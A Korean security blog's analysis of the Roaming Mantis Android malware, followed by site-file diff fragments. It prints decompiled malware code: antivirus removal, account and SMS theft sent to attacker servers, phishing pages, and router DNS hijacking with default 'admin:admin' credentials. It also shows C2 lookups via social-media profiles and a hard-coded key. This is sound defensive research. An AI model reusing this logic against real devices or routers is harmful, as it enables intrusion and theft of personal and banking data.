이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 … 이 문자는 실제로 악성 앱이 설치됩니다.

+ +

이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다.

+ +
+ +

2. Roaming Mantis?

+ +

분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는..

+ +

0.png

+ +

Android Malware인 Roaming Mantis였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 취약한 공용 라우터를 장악하여 DNS 서버를 변조(DNS Hijacking)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다.

+ +

가령, google.com으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 사용자를 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다.

+ +

이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다.

+ +

또한 Wroba계열의 Mobile banking Trojan을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다.

+ +

출처 : https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers

+ +
+ +

3. Analysis

+ +

2.png

+ +

분석 Flow Chart입니다.

+ +

각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다.

+ +

1) Download & Install

+ +

3.png

+ +

문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다.

+ +

Download를 진행하면 chrome.apk 라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다.

+ +

4.png

+ +

frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다.

+ +

이 중 rbj.xnmp.gjga.ucms가 악성 앱, com.android.chrome이 진짜 chrome입니다.

+ +

2) Dynamic DEX Loading

+ +

Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다.

+ +

주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다.

+ +

5.png

+ +


+ +

Encrypted DEX Loading

+ +

가장 먼저 실행되는 것은 ImApplication.c("rrkf") 로, rrkf를 인자로 wo.pi method를 호출합니다.

+ +
// str = "rrkf"
+private void c(String str) {
+        b(str, wo.pi(this, str, 1, false, ""));
+}
+
+ +

Java_n_wo_pi() 함수는 rrkf를 인자로 받아, rrkf/lqcttjs 경로를 완성합니다.

+ +

완성한 경로를 getAssets() 함수의 인자로 사용하여, assets 폴더 하위의 rrkf/1qcttjs 파일 내용을 가져옵니다.

+ +
// v7 = rrkf/1qcttjs
+// v10 = getAssets()
+// v13 = open(Ljava/lang/String;)
+v19 = _JNIEnv::CallObjectMethod(v7, v10, v13);
+
+ +

실제로 assets Directory 에는 아래와 같이 rrkf/1qcttjs 경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다.

+ +

6.png

+ +


+ +

Decrypt DEX

+ +

따라서 Java_n_wo_pi() 내부에는 가져온 1qcttjs 의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 wo.pi 는 Dectyped DEX 내용을 return 합니다.

+ +
while ( 1 )
+{
+    v49 = _JNIEnv::CallIntMethod(v24, v61, v21, v48); // 1. 암호화된 파일 내용 read
+    if ( v49 & 0x80000000 ) // 3. 복호화가 끝났을경우
+    {
+      _JNIEnv::CallVoidMethod(v24, v61, v59); // close(), 4. 읽기 종료
+			...
+			if ( v64 )
+        {
+           v65 = v64; // 5. 복호화 된 내용 저장
+           operator delete(v64);
+				}
+        return;
+    }
+    v50 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v24 + 1472LL))(v24, v48, 0LL); // 2. 복호화 진행 (1로 다시 이동)
+   ...
+}
+
+ +


+ +

③ Save Dynamic DEX

+ +

복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 ImApplication.e() method에서 확인할 수 있습니다. e/data/user/0/rbj.xnpm.gjga.ucms/files/b 와 복호화된 파일 내용을 인자로 받아, wo.or 을 호출합니다.

+ +
private static Object e(String str, Object obj) {
+				//str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b"
+        //obj = 복호화한 dex파일
+        return wo.or(str, obj, 0);
+    }
+
+ +

Java_n_wo_or() 에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다.

+ +
v7 = (*(__int64 (**)(void))(*(_QWORD *)a1 + 1472LL))(); // 복호화 DEX Byte array
+v8 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v6 + 1352LL))(v6, v4, 0LL); // /data/user/0/rbj.xnpm.gjga.ucms/files/b
+...
+fwrite(v7, v10, 1LL, v9); // 해당 경로에 DEX파일 내용 작성
+
+ +

따라서 복호화된 DEX 파일은, /data/user/0/rbj.xnpm.gjga.ucms/files/b 경로에 저장되게 됩니다.

+ +


+ +

④ Load Class

+ +

ImApplication 에서 가장 마지막에 실행되는 a method입니다.

+ +
private void a(Object obj) {
+				// obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b)
+				// wo.ls(1) = com.Loader
+        Class cls = (Class) wo.kw(wo.ls(1), obj, false, 0L, "", true, 2, false, 1, true);
+        this.b = cls;
+				// wo.iz = 인자를 create() 함
+        a = wo.iz(cls);
+    }
+
+ +

wo.iz 는 인자를 create() 하므로, 인자로 들어가는 cls 즉, wo.kw 의 내용을 보아야 합니다. wo.kw 는 아래의 코드로 동작을 요약할 수 있습니다.

+ +
// v7 = loadClass(com.Loader)
+return _JNIEnv::CallObjectMethod(v5, v4, v7);
+
+ +

locaClass() method에 인자로 들어간 com.Loader Class를 호출합니다. 이렇게 b 파일의 com.Loaser class를 인자로 받은 wo.iz 는 이를 create() 하며 Dynamic DEX Loading은 끝이 납니다.

+ +

그럼 이제 앱을 실행한 후, /data/user/0/rbj.xnpm.gjga.ucms/files/b 파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.

+ +

3) Behavior Analysis

+ +

이전 단계에서 획득한 b 파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다.

+ +

모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다.

+ +

이 중 Roaming Mantis의 핵심 동작(DNS 조작)은 ⑤ 공유기 장악 부분을 보시면 되겠습니다.

+ +

① A사 백신 삭제

+ +

② 국내 앱 계정 정보 수집

+ +

③ Phishing 창 생성 #1

+ +

④ Phishing 창 생성 #2

+ +

⑤ 공유기 장악 (DNS Hijacking)

+ +

⑥ C2 서버 - 공격자 서버 정보 파싱

+ +

⑦ SMS 관련 동작

+ +

⑧ 기타 동작

+ +
+ +

① A사 백신 삭제

+ +

대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다.

+ +

while문을 사용하여 설치된 Package명 중, 백신의 Package명(com.a**lab.v*)과 같은 게 있을 경우 삭제하도록 하고 있습니다.

+ +
while(!d.n.l.g(((String)v1), "com.a**lab.v3", false, 2, null));
+    v2 = v1; // 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장
+label_14:
+    String v2_1 = (String)v2;
+    if(v2_1 != null) { // 2. 존재한다면, DELETE하는 Activity 실행
+        Intent v0_1 = new Intent();
+        v0_1.setAction("android.intent.action.DELETE");
+        v0_1.setData(Uri.parse("package:" + v2_1));
+        v0_1.addFlags(0x10000000);
+        arg8.startActivity(v0_1); // 안랩을 삭제하는 activity를 넣음
+    }
+
+ +

실행된 Activity는 아래와 같이 보입니다.

+ +

7.png

+ +
+ +

② 국내 앱 계정 정보 수집

+ +

아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다.

+ +
// 1. 기기에서 관리중인 계정 정보 수집
+Account[] v0_4 = ((AccountManager)v0_3).getAccounts();
+
+// 2. 계정과 종류를 수집
+v10_1.add(v0_4[v12].name + ":" + v0_4[v12].type);
+
+ +

수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다.

+ +

8.png

+ +

아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다.

+ +
v9.add("Happy*****:"); // 계정이 존재한다면, comment와 함께 저장
+
+ +
+ +

③ Phishing 창 생성 #1

+ +

com.Loader Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다.

+ +

9.png

+ +

한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 127.0.0.1:Random_port 로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 %%ACCOUNT%% 부분은 기기에 저장된 gmail 계정이 출력됩니다.

+ +

10.png

+ +

전달 받은 값은 127.0.0.1:port/submit 으로 전달, Response 값을 setMyInfo method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다.

+ +
    +
  • Json-RPC는 원격 프로시저 호출을 위한 프로토콜입니다. 서버와 경량의 데이터 교환을 수행하는데, 이 때 JOSN 형식을 사용합니다.
  • +
+ +
v8_1 = (String)v7.get("name");
+v8_2.append(((String)v7.get("first_name")));
+String v0 = (String)v7.get("middle_name");
+v8_2.append(((String)v7.get("last_name")));
+String v2_1 = (String)v7.get("date");
+v2_1 = v2_1 + " " + ((String)v7.get("xx1"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx2"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx3"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx4"));
+v2_1 = v2_1 + "/" + ((String)v7.get("ss1"));
+
+// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료
+String v0_1 = "JSON:" + new JSONObject(v7).toString(0);
+this.c.g.f("setMyInfo", new String[]{v8_1, v0_1}).f(new Loader.t0.a(this, v7), Loader.t0.b.a);
+}
+
+ +
+ +

Phishing 창 생성 #2

+ +

또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 zc1. zc. scan 일 경우 수행됩니다. 사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 피싱 페이지를 생성합니다. 아래는 일본의 통신사인 domoco를 사용 할 경우의 예시입니다.

+ +
else if(l.j(v0_3, "docomo", false, 2, null)) { // 1. domoco 통신사일 경우
+                    b v0_6 = this.a.h("https://www.pinterest.com/catogreggex11/");
+                    v7 = (String)v0_6.a();
+                    v0_5 = (String)v0_6.b(); // 2. 위의 URL에서 info 정보 수집
+                    v1 = i.a(v0_5, "") ? "【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。" :  // 3. 수집이 안 될 경우를 대비한 피싱 문구
+                }
+
+ +

v0_6 변수를 보면, https://www.pinterest.com/catogreggex11/의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 catogreggex11 계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다.

+ +

11.png

+ +

info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, ---- 를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다.

+ +
+ +

⑤ 공유기 장악 (DNS Hijacking)

+ +

Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다.

+ +

모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자 DHCP Server의 IP 주소를 수집합니다.

+ +
int v2 = ((WifiManager)this.n.getApplicationContext().getSystemService("wifi")).getDhcpInfo().serverAddress;
+
+ +

DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다.

+ +

공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다.

+ +
int[] v5 = new int[]{8080, 8888, 80, 7777, 8899};
+for(v9 = "http://" + v2_1 + ":" + v8 + "/login/login.cgi"; true; v9 = v10_1.toString()){
+                    v9_1 = a.b.d(v9, false);
+
+ +

코드를 보면, 8080, 8888, 80 등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 /login/login.cgi 경로를 붙여 최종적으로 http://{DHCP_SERVER}:{PORT}/login/login.cgi 라는 URL을 완성합니다.

+ +

아래는 실행 시 실제로 보내진 HTTP Request Dump입니다.

+ +

12.png

+ +

URL의 경로에서 유추할 수 있듯, 공격자는 공유기 관리 페이지에 접근하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다.

+ +
Matcher v10 = Pattern.compile("http-equiv=\"?refresh\"? .+?URL=(.+?)\"", 2).matcher(v9_1);
+ Matcher v10_2 = Pattern.compile("<script>.+\\.location=\"(.+?)\";.*//session_timeout", 2).matcher(v9_1.replace(" ", ""));
+
+ +

Response가 있다면 HTTP source code 에는 해당 DHCP 서버(공유기)의 정보가 있을 것입니다.

+ +

아래는 공유기 모델에 따라 HTTP 페이지에 적혀 있는 값입니다. 만약 일치하는 패턴이 있다면 공유기의 모델이 어떤 것인지 유추할 수 있습니다. 공격자는 이 패턴과 숫자를 매칭하여 저장합니다.

+ +

13.png

+ +

어떤 번호에 매칭되었느냐에 따라 다양한 method들이 호출되는데, 여기서 1번 i사의 공유기에 매칭 되었다고 가정해봅시다.

+ +
if(v2 == 1) {
+       this.a.e(v1.a);
+       return;
+       }
+
+if(v2 == 2) {
+      this.a.k(v1.a);
+      return;
+      }
+...
+
+ +

매칭된 숫자에 따라 실행되는 method들이 달라집니다. 1번에 매칭되었으니 a.e method로 이동해봅시다.

+ +

매칭된 i사의 공유기의 Default Credential과 token 검증 방식으로 인증을 수행하기 위해 Request Header 생성, 이를 Default URL로 전달하고 있습니다. 각 공유기마다 Header의 조합과 URL 주소가 다르며, 일반적인 공유기 사용자가 관리 페이지의 Credential을 바꾸는 일은 흔치 않기 때문에 공격자는 공유기를 쉽게 관리자로 로그인 할 수 있습니다.

+ +
void e(String arg14) {
+        String[] v1 = new String[2];
+        int v2 = 0;
+        v1[0] = "Authorization";
+        v1[1] = "Basic " + Base64.encodeToString("admin:admin".getBytes(), 0);
+        a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame", v1);
+        String v4 = a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=netconf&smenu=wansetup", v1);
+        ArrayList v7 = new ArrayList();
+        int v8;
+        for(v8 = 1; v8 <= 4; ++v8) {
+            Matcher v9 = Pattern.compile("id=\"disabled_dynamicip" + v8 + ".*?value=\"(.*?)\"").matcher(v4);
+            if(v9.find()) {
+                v7.add(v9.group(1));
+            }
+        }
+
+
+ +

그리고 마지막 부분에 DNS 서버를 변경하려는 Request를 생성하는데, 해당 DNS 서버의 주소는 C2 서버에 값이 저장되어 있습니다.

+ +
// DNS 서버를 변경하는 Request 생성
+// v3의 값은 C2 서버에서 파싱
+a.b.f(arg14 + "/cgi-bin/timepro.cgi", v1, "tmenu=iframe&smenu=hiddenwansetup&act=save&ocolor=&wan=wan1&ifname=eth1&nopassword=0&wan_type=dynamic&allow_private=on&fdns_dynamic1=" + v3.c[0] + "&fdns_dynamic2=" + v3.c[1] + "&fdns_dynamic3=" + v3.c[2] + "&fdns_dynamic4=" + v3.c[3] + "&sdns_dynamic1=" + v3.d[0] + "&sdns_dynamic2=" + v3.d[1] + "&sdns_dynamic3=" + v3.d[2] + "&sdns_dynamic4=" + v3.d[3] + "&dns_dynamic_chk=on".getBytes());
+
+ +

이렇게 외부 서비스에 저장한 정보를 파싱해 올 수 있습니다. 사진에서는 활동 란에 적힌 부분이 바꾸고자 하는 동적 DNS 서버의 주소입니다.

+ +

1.png

+ +
+ +

C2 서버 - 공격자 서버 정보 파싱

+ +

바로 이전 섹션에서 타 서비스의 웹 사이트(C2 서버)에서 문구들을 수집하는 것을 보았습니다. 마찬가지로 공격자의 서버 정보도 C2 서버에 있습니다. 그렇다면 공격자 서버 정보를 찾아봅시다.

+ +

아래의 문자열은 외부 서비스와 많은 연관이 있는 것으로 추정되는 문자열입니다.

+ +
this.n = "chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|id728589530@vk|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2";
+
+ +

현재 피싱 앱으로 사용하는 이름|youtube계정|vk계정|GoogleDoc계정 의 정보를 담고 있으며, 이 앱은 covid등 다양한 이름으로 배포되고 있었습니다. 따라서 현재 사용하는 앱 이름에 맞는 정보를 파싱하도록 동작하고 있습니다.

+ +

우선 vk(id728589530@vk) 계정이 어디서 사용되는지 확인해봅시다. 앱 이름이 debug가 아닐 경우에 수행되며, 최종적으로 id729071494 계정의 info페이지에 접근하게 됩니다.

+ +
// 1. info 페이지 접근
+String v3 = String.format("https://m.vk.com/%s?act=info", Arrays.copyOf(new Object[]{arg3}, 1));
+
+// 2. noopener 태그 사이의 문자열 매칭
+ Matcher v3_3 = Pattern.compile("noopener\">(.+?)</a>").matcher(v3_2);
+
+ +

페이지의 HTTP Code 중 noopener 태그 이후의 문자열을 확인하면 아래와 같이 공격자 서버를 확인할 수 있습니다.

+ +

14.png

+ +

이 서버는 결론적으로 DHCP서버의 Captcha 인증 중 Captcha 이미지를 보내는 서버입니다. 자세한 분석은 분량 상 생략하겠습니다.

+ +

다른 정보들은 어디에 쓰이는지 확인해봅시다.

+ +

아래는 기기의 환경이 한국일 경우 실행되는 코드로, 위의 계정 정보들 중 youtube(UCP5sKzxDLR5yhO1IB4EqeEg@youtube)계정 문자열을 파싱합니다.

+ +
// UCP5sKzxDLR5yhO1IB4EqeEg@youtube 문자열 파싱
+String v7 = Loader.access$getPreferences$p(this.b).getString("account", ((String)v2.get(v8)));
+
+ +

마찬가지로 해당 계정의 about 페이지에 접근한 후, oeewe 사이의 문자열을 파싱합니다.

+ +
// 1. about 페이지 접근
+String v3 = String.format("https://m.youtube.com/channel/%s/about", Arrays.copyOf(new Object[]{arg3}, 1));
+
+// 2. oeewe 사이의 문자열 매칭
+Matcher v3_3 = Pattern.compile("oeewe([\\w_-]+?)oeewe").matcher(v3_2);
+
+ +

접근하면 아래와 같이 oeewe … oeewe 문자열을 설명란에서 볼 수 있습니다.

+ +

15.png

+ +

해당 문자열은 DES(CBC) 복호화 과정을 거칩니다. 다행히 Key와 IV가 하드코딩 되어있어, 쉽게 복호화 할 수 있습니다.

+ +
// 1. Base64 Decoding
+byte[] v2 = Base64.decode(arg2, 8);
+
+// 2. Key, IV 하드코딩(같은 값)
+return new String(r.b(v2, "Ab5d1Q32"), d.a);
+
+ +

복호화를 진행하면 아래와 같이 공격자의 서버 주소를 확인할 수 있습니다. 이 주소는 파싱 후 ws:// 가 앞에 붙게 되므로 웹 소켓 주소로 사용되는 것을 추측할 수 있습니다.

+ +

16.png

+ +
+ +

SMS관련

+ +

아래는 기기가 기본 SMS 앱을 사용하는지 체크하는 부분입니다. 만약 기본 SMS앱을 악성 앱으로 바꾼다면, SMS 인증 우회는 물론이고, 메시지 내용 탈취, 발신, 수신이 자유로울 것입니다.

+ +
v9_1[5] = Boolean.valueOf(i.a(v5_6, Telephony.Sms.getDefaultSmsPackage(v7_4)));
+
+ +

17.png

+ +

공격자는 SMS 메시지가 수신될 때, 발신자의 주소와 timestamp내용을 HashMap으로 저장하며 수집합니다.

+ +
// 1. 수신된 메시지들 수집
+v0_6 = (Object[])arg27.getExtras().get("pdus");
+v12 = v0_6[v10];
+
+// 2. 수신된 메시지를 기반으로 새로운 SMS 데이터 생성
+SmsMessage v12_1 = SmsMessage.createFromPdu(((byte[])v12));
+
+// 3. 수신된 메시지의 내용 수집
+String v13 = v12_1.getDisplayMessageBody();
+
+// 4. 수신된 메시지의 발신 주소 수집
+String v14 = v12_1.getDisplayOriginatingAddress();
+
+// 5. 발신자 주소(key)-메시지의 timestamp(value) 로 저장
+v3_1.put(v14, Long.valueOf(v12_1.getTimestampMillis()));
+
+// 6. 발신자 주소(key)-메시지 내용(value)로 저장
+ v4_2.put(v14, v12_2.toString());
+
+ +

JSON-RPC로 onSms method와 수집한 내용을 공격자 서버로 전달합니다.

+ +
// s = "onSms"
+// 1. Json-RPC로 onSms mthod 실행
+Map map0 = b0.f(new b[]{c.a("jsonrpc", "2.0"), c.a("method", s)});
+
+// 2. 수집한 내용을 params로 전달
+map0.put("params", object0);
+
+ +

이후 공격자는 audio 상태를 무음으로 변경합니다. 만약 기기를 자주 살펴보지 않는 사용자라면, 본인도 모르는 사이에 문자가 발신/수신 될 수 있습니다.

+ +
Object v0_13 = v2.getSystemService("audio");
+if(v0_13 != null) {
+  ((AudioManager)v0_13).setRingerMode(0);
+
+ +

수신하는 경우의 로직도 존재합니다. 특이한 점은 수신한 문자의 앞 두글자에 따라 다른 동작을 한다는 것입니다. 마치 기계에 커맨드를 입력하는 것 같습니다.

+ +

맨 앞 두 글자에 따라 SharedPreference 객체에 key-value로 값을 저장하는 형태를 많이 보입니다.

+ +
// 1. 앞 글자가 FS인 경우, fs(key)-메시지내용(value) 추가
+if(boolean z2 = u.g(s12, "FS", false, 2, null)) {
+Loader.access$getPreferences$p(this.a).edit().putString("fs", r.c(s13))).apply()
+
+// 2. 앞 글자가 SF인 경우, account(key)-메시지내용(value) 추가
+if(u.g(s12, "SF", false, 2, null)) {
+Loader.access$getPreferences$p(this.a).edit().putString("account", s14).apply();
+
+// 3. 앞 글자가 IF인 경우, 네트워크(socket등)연결 시도
+if(u.g(s12, "IF", false, 2, null)) {
+
+	// 3-1. 연결 되었을 경우
+	i.c(socket1, "peer.ws!!.socket");
+	s15 = "已连接:" + socket1.getRemoteSocketAddress().toString();
+
+	// 3-2. 연결되지 않았을 경우
+	s15 = "未连接," + s16 + ',' + (wifiManager0 == null ? false : wifiManager0.isWifiEnabled()) + ',' + this.a.j;
+
+// 4. 앞 긑자리 SI인 경우, addr_url/addr_encoding/addr_pattern/addr_accounts 추가
+if(boolean z3 = u.g(s12, "SI", false, 2, null)) {
+byte[] arr_b = Base64.decode(s13, 0);
+Loader.access$getPreferences$p(this.a).edit().putString("addr_url", ((String)list0.get(0))).putString("addr_encoding", ((String)list0.get(1))).putString("addr_pattern", ((String)list0.get(2))).putString("addr_accounts", ((String)list0.get(3))).apply();
+
+// 5. 앞 글자리 FM인 경우, Key(arr_b1)으로 AES 복호화 후 fsm(key)-메시지내용(value) 추가
+else if(u.g(s12, "FM", false, 2, null)) {
+byte[] arr_b1 = Base64.decode("CpMSc7iSk/dTcRO7aMe4qA==", 0);
+Loader.access$getPreferences$p(this.a).edit().putString("fsm", s18)
+
+ +

어떤 내용이 오가는지 정확한 내용은 몰라도, 어느 정도 유추는 가능하며 사용자의 기기로 하여금 악의적인 행위를 수행하도록 하는 것을 볼 수 있습니다.

+ +
+ +

⑦ 기타 생략 동작

+ +
    +
  • 앱 정보 수집 +
      +
    • 설치된 앱들의 정보를 수집합니다.
    • +
    +
  • +
  • 공인인증서 탈취 +
      +
    • /sdcard/NAKI 에 저장된 공인인증서를 탈취합니다.
    • +
    +
  • +
  • 배터리 최적화 무시 +
      +
    • 백그라운드에서도 안정적으로 실행되기 위해, 배터리 최적화를 무시하도록 합니다.
    • +
    +
  • +
  • wifi lock 설정 +
      +
    • 연결된 WIFI Lock을 Swi 라는 이름으로 생성, 백그라운드에서도 연락이 이어지게 끔 동작합니다.
    • +
    +
  • +
  • 사용자 주변 네트워크, 기기 정보 전송 +
      +
    • 사용자의 네트워크와 디바이스 정보를 SharedPreference에 저장합니다.
    • +
    +
  • +
  • 루팅 탐지 +
      +
    • 루팅 여부를 탐지합니다.
    • +
    +
  • +
  • 금융 앱 관련 +
      +
    • 금융 앱 대신 /sdcard/.upload2 하위의 악성 앱을 실행합니다.
    • +
    +
  • +
  • 사진 탈취 +
      +
    • /DCIM/Camera 에 위치한 사진 파일들을 탈취합니다.
    • +
    +
  • +
  • C2 서버로부터 command 수신 +
      +
    • 다양한 command를 전달받아 동작합니다.
    • +
    + +

    18.png

    +
  • +
+ +

이 외에도 모두 분석하면 꽤 많은 양의 기능을 식별할 수 있을 것으로 예상됩니다.

+ +
+ +

4. Outro

+ +

지금까지 Android Malware : Roaming Mantis를 분석해보았습니다. 타인에게 설명하기에 양도 많고 내용도 복잡해 글을 쓰면서도 고민이 많았습니다. 틀린 부분은 없는지 여러 번 확인도 하였지만, 혹시나 발견하신다면 제 미숙함으로 여겨주시면 감사하겠습니다. (틀린 부분에 대한 문의는 hrjeon@stealien.com으로 연락 바랍니다.)

+ +

Roaming Mantis는 매우 정성 들여 만든 Malware입니다. 그만큼 많은 곳에 복제되어서 이곳저곳 쓰일 것입니다. 혹시나 이 Malware를 마주하게 되신다면, 글을 읽으시는 분들도 한번 쯤 분석해보면 어떨까요?

+ +

더 많은 로직이 있음에도 다 담을 수 없어 아쉽기도 하고, 남은 로직은 후일에 천천히 풀어보도록 해보겠습니다.

+ +

글의 주제를 제공해주신 김도현 팀장님과 분석 실마리를 제공해주신 김동규 선임연구원님, 글 작성을 도와주신 임필호 선임연구원님을 비롯한 모의해킹팀 분들에게 감사합니다.

+ +

이 글이 많은 분들의 연구에 도움이 되길 바라며 글을 줄이겠습니다.

+ +
+
+
+ +
+
+
Hyerim Jeon
+
hrjeon@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+ +
Donggyu Kim
+
+
+
+ +
+ 버그헌팅: 취약점 체이닝의 중요성 +
+
+
No impact, No bug
+ +
+
+
+
+
+
+
+
+ + + +
+
+ diff --git a/docs/id/categories/R&D.html b/docs/id/categories/R&D.html index f5f6cef..21716b5 100644 --- a/docs/id/categories/R&D.html +++ b/docs/id/categories/R&D.html @@ -78,6 +78,30 @@
# R&D
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
diff --git "a/docs/id/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" "b/docs/id/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" index bf72b9a..a62e754 100644 --- "a/docs/id/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" +++ "b/docs/id/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" @@ -411,22 +411,22 @@

후기

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -434,23 +434,23 @@

후기

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/id/feed.xml b/docs/id/feed.xml index b39b011..d28a8ce 100644 --- a/docs/id/feed.xml +++ b/docs/id/feed.xml @@ -1,4 +1,609 @@ -Jekyll2023-11-15T12:43:52+09:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.버그헌팅: 취약점 체이닝의 중요성2023-07-31T20:00:00+09:002023-07-31T20:00:00+09:00http://ufo.stealien.com/2023-07-31/bughunting-vulnerability-chaining-ko<h1 id="버그헌팅-취약점-체이닝의-중요성">버그헌팅: 취약점 체이닝의 중요성</h1> +Jekyll2023-11-15T12:46:48+09:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.Android Malware : 사마귀 